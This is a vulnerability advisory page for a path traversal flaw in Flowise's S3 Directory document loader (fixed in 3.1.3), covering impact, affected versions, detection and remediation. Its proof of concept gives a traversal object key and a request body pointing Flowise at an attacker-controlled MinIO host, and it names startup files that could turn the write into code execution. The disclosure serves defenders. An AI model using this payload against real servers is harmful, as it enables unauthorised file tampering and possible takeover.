GHSA-88pr-878c-24wf: Flowise: Authenticated arbitrary file write in the `S3 Directory` document loader via unsanitized S3 object keys
Flowise and flowise-components 3.1.2 and earlier let an authenticated user write files anywhere the server process can write, through path traversal in the `S3 Directory` document loader. S3 object keys such as `../../x` are joined to a temp directory without checks. Upgrade to 3.1.3.
Published Aug 4, 2026 · Analysis Oct 25, 2026
What an attacker can do
In packages/components/nodes/documentloaders/S3Directory/S3Directory.ts, the loader builds each local path with path.join(tempDir, key), where key is the S3 object key. It then creates parent directories and writes the object bytes with writeFileSync. Nothing rejects ../ sequences. Cleanup removes only the original tempDir, so files that escaped it stay on disk. The S3File loader has a related variant when fileProcessingMethod = unstructured, which can also delete directories.
The routes are /api/v1/document-store/loader/preview and /api/v1/document-store/loader/process/:loaderId. They need the documentStores:preview-process permission, and data.loaderConfig reaches the loader unsanitized. The loader accepts a custom serverUrl, so the attacker points Flowise at a MinIO or other S3-compatible server they run, puts an object named like ../../../../tmp/flowise-poc.txt in it, and triggers the preview.
The result is arbitrary file write with the Flowise process's privileges. That can overwrite application data, secrets or configuration. The advisory says it can become code execution when the service account can modify startup or interpreter-loaded files, such as .bashrc, systemd units, cron files or package.json postinstall scripts, but that depends on the deployment.
Who is affected
The npm packages flowise and flowise-components at version 3.1.2 and earlier. The attacker needs a workspace account with documentStores:preview-process, plus a running Flowise HTTP server. Check what you have installed:
npm ls flowise flowise-componentsFor Docker, check the image tag or run npm ls inside the container.
flowise-components
- Ecosystem
- npm
- Affected
- <= 3.1.2
- Fixed in
- 3.1.3
- Check
npm ls flowise-components
flowise
- Ecosystem
- npm
- Affected
- <= 3.1.2
- Fixed in
- 3.1.3
- Check
npm ls flowise
How to fix it
Upgrade flowise and flowise-components to 3.1.3:
npm install -g [email protected]In a project that embeds the components, run npm install [email protected]. Pull request 6549 is the fix. The advisory's suggested remediation was to resolve the destination with path.resolve, reject any path outside tempDir, and apply the same check to S3File. As an interim measure, restrict who holds documentStores:preview-process; the advisory gives no other workaround.
How to tell if you were hit
Look in Flowise access logs for POSTs to /api/v1/document-store/loader/preview or /loader/process/ with loaderId s3Directory and a serverUrl that is not your own S3 or AWS endpoint. Check outbound connections from the Flowise host to unfamiliar S3-compatible servers. On disk, look for unexpected recent files outside the Flowise temp directory, and changes to shell profiles, cron files, systemd units or package.json. If you find any, review what the Flowise user could write.
Original advisory
From the GitHub Advisory Database (CC BY 4.0).
Summary
Flowise on current main allows an authenticated user with documentStores:preview-process permission to trigger the S3 Directory document loader with attacker-controlled S3 object keys. The loader joins each returned S3 key with a temporary directory using path.join(tempDir, key) and writes the object bytes to disk without validating traversal sequences such as `../`. Cleanup later removes only the original temporary directory, so files written outside that directory persist on the host filesystem.
This yields arbitrary file write with the privileges of the Flowise server process.
A related variant exists in the S3File loader when fileProcessingMethod = unstructured (same root cause; its cleanup behavior turns it into a mixed arbitrary write/delete/DoS primitive).
Affected component
packages/components/nodes/documentloaders/S3Directory/S3Directory.ts- line 191:
filePath = path.join(tempDir, key)(unsanitized) - line 213: recursive
mkdirSynccreates parent path - line 216:
writeFileSyncwrites attacker-controlled bytes - line 289: cleanup only removes the original
tempDir, so escaped files remain on disk - Related (variant):
packages/components/nodes/documentloaders/S3File/S3File.ts(lines 756, 780, 782, 817 — arbitrary write + recursive dirname delete)
Reachability
- Routes exposed:
packages/server/src/routes/documentstore/index.ts:41,45(/api/v1/document-store/loader/preview,/api/v1/document-store/loader/process/:loaderId) - Both require
documentStores:preview-process packages/server/src/services/documentstore/index.ts:588passesdata.loaderConfigstraight to the loader node with no path sanitizationS3Directoryaccepts a customserverUrl, so the attacker does not need access to an existing trusted AWS bucket — they can point Flowise at a local MinIO or any S3-compatible endpoint they control
Impact
- Authenticated arbitrary file write to any path writable by the Flowise process
- Destructive overwrite of application data, secrets, or configuration
- Deployment-dependent lift to RCE if the service account can modify executable, startup, or interpreter-loaded files (e.g.
.bashrc, systemd units, cron files,require.resolvetargets,package.jsonpostinstall scripts). This is not guaranteed product-wide.
Preconditions
- Flowise instance running (HTTP server mode)
- Attacker has a workspace account with the
documentStores:preview-processrole - No additional infrastructure required —
serverUrlcan point to attacker-controlled S3-compatible endpoint
Proof of Concept
- Authenticate as a user with
documentStores:preview-process - Run an S3-compatible server the attacker controls (e.g. MinIO)
- Create an object with a traversal key such as:
../../../../tmp/flowise-poc.txt - Trigger: POST /api/v1/document-store/loader/preview (or /api/v1/document-store/loader/process/:loaderId) body: { "loaderId": "s3Directory", "loaderConfig": { "serverUrl": "http://attacker-minio:9000", "bucketName": "attacker-bucket", "prefix": "", "credential": "" } }
- Observe that Flowise writes the object bytes to the escaped path
- Observe that cleanup removes only the original temp directory; the escaped file persists
Local reproduction confirmed: writing a key containing ../../escape-target/poc.txt from a nested temp root created the file outside the temp directory, and the cleanup removed only tempDir.
Root Cause
The loader trusts S3 object keys as safe local relative paths. It should canonicalize the destination with path.resolve(...), verify the resolved path remains within the intended temp directory, and reject traversal or absolute-path patterns before any directory creation or file write.
Suggested Remediation
The repository already has shared path validators that are not used here:
packages/components/src/validator.ts:35defines traversal checkspackages/components/src/validator.ts:295definessanitizeFileName
Recommended fix:
- Replace
path.join(tempDir, key)with a resolve-and-verify flow - Reject any resolved path outside
tempDir - Prefer a sanitized basename if directory structure is not required
- Apply the same fix to the
S3Fileloader (fileProcessingMethod = unstructuredbranch)
Credited to Mirr2.
Questions
- Does the attacker need AWS access?
No.
S3Directoryaccepts a customserverUrl, so they can point Flowise at a MinIO or other S3-compatible server they control. They still need a Flowise account withdocumentStores:preview-process.- Does this give remote code execution?
Not on its own. It is an arbitrary file write. The advisory says it can become code execution if the service account can modify executable, startup or interpreter-loaded files, but that is not guaranteed.
- Which Flowise version fixes it?
3.1.3 for both
flowiseandflowise-components. Versions up to and including 3.1.2 are listed as vulnerable.
References
Read for this analysis:
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. The analysis is written by an AI model from the sources listed above and checked by automated rules before it is published. Check versions against the vendor's advisory before you act. Methodology
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